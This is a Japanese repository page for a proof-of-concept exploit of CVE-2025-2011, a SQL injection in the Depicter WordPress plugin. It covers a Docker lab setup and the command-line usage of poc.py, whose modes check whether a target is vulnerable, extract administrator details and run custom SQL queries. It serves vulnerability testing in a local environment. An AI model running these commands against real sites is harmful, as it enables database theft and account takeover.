CVE-2025-2011 — CVE-2025-2011 の PoC - Depicter プラグイン <= 3.6.1 における SQLインジェクション | Kitploit

共有

CVE-2025-2011 - DepicterプラグインのSQLインジェクション脆弱性

CVEリファレンス: CVE-2025-2011

このリポジトリは、Depicter Slider & Popup Builderプラグイン（バージョン3.6.2未満）のSQLインジェクション脆弱性をテストするための概念実証環境を含んでいます。

前提条件

Docker
Docker Compose
Python 3.x
必要なPythonパッケージ: requests, colorama

セットアップ手順

環境を起動
```
docker-compose up -d
```
WordPressのインストールを完了
- ブラウザを開き、http://localhost:5555にアクセス
- WordPressのインストールウィザードに従う:
  - 言語を選択
  - サイトタイトルを設定
  - 管理者アカウントを作成
  - インストールを完了
脆弱性のあるプラグインをインストール
```
chmod +x install-plugin.sh
./install-plugin.sh
```

ターゲットが脆弱かどうかを確認
```
python poc.py -u http://localhost:5555
```

管理者詳細を抽出

python poc.py -u http://localhost:5555 -m admin

カスタムSQLクエリを実行

python poc.py -u http://localhost:5555 -m custom -q "SELECT VERSION()"

デバッグ出力を有効化
```
python poc.py -u http://localhost:5555 -d
```